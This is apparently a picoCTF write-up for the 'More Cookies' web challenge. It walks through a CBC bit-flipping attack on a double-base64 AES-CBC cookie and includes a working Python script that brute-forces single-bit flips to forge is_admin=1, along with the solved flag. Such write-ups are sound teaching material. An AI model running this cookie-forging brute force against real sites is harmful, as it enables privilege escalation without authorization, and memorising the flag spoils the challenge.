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# picoCTF — More Cookies

**Category:** Web | **Difficulty:** Medium

## What's going on?

The app stores an `auth_name` cookie that is AES-CBC encrypted (with homomorphic properties). The page only shows the flag if `is_admin=1` is in the decrypted plaintext. We can't decrypt it, but we can **bit-flip the ciphertext** to flip bits in the plaintext — that's the homomorphic encryption hint.

## Step 1 — Get the cookie

```bash
curl -c cookies.txt -s http://wily-courier.picoctf.net:62094/ > /dev/null && cat cookies.txt
```

The cookie is **double base64 encoded** → base64 → base64 → raw AES-CBC ciphertext (96 bytes).

## Step 2 — CBC Bit Flip Attack

In AES-CBC, flipping a bit at position N in the ciphertext flips the corresponding bit in block N+1 of the plaintext. So we brute-force all 768 possible single-bit flips (96 bytes × 8 bits) until the server returns the flag instead of a redirect.

```python
import requests
import base64
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://wily-courier.picoctf.net:62094/"

s = requests.Session()
s.get(url)
cookie = s.cookies.get("auth_name")
decoded = base64.b64decode(cookie)
ciphertext = bytearray(base64.b64decode(decoded))

def try_flip(byte_pos, bit):
    try:
        modified = bytearray(ciphertext)
        modified[byte_pos] ^= (1 << bit)
        inner = base64.b64encode(bytes(modified))
        outer = base64.b64encode(inner).decode()
        r = requests.get(url, cookies={"auth_name": outer}, timeout=10)
        if "picoCTF" in r.text:
            return (byte_pos, bit, r.text)
    except Exception:
        pass
    return None

tasks = [(b, bit) for b in range(len(ciphertext)) for bit in range(8)]

with ThreadPoolExecutor(max_workers=10) as executor:
    futures = {executor.submit(try_flip, b, bit): (b, bit) for b, bit in tasks}
    for future in as_completed(futures):
        result = future.result()
        if result:
            print(f"FLAG FOUND! byte={result[0]} bit={result[1]}")
            print(result[2])
            break
```

## Result

The winning flip was **byte 9, bit 0** — which flipped `is_admin=0` to `is_admin=1` in the decrypted plaintext.

## Flag

```
picoCTF{cO0ki3s_yum_00890977}
```

## Key Takeaways

* AES-CBC is **malleable** — ciphertext bit flips cause predictable plaintext bit flips
* Never use CBC mode to protect integrity-sensitive data without a MAC (use AES-GCM instead)
* The homomorphic encryption hint was pointing directly at this CBC property


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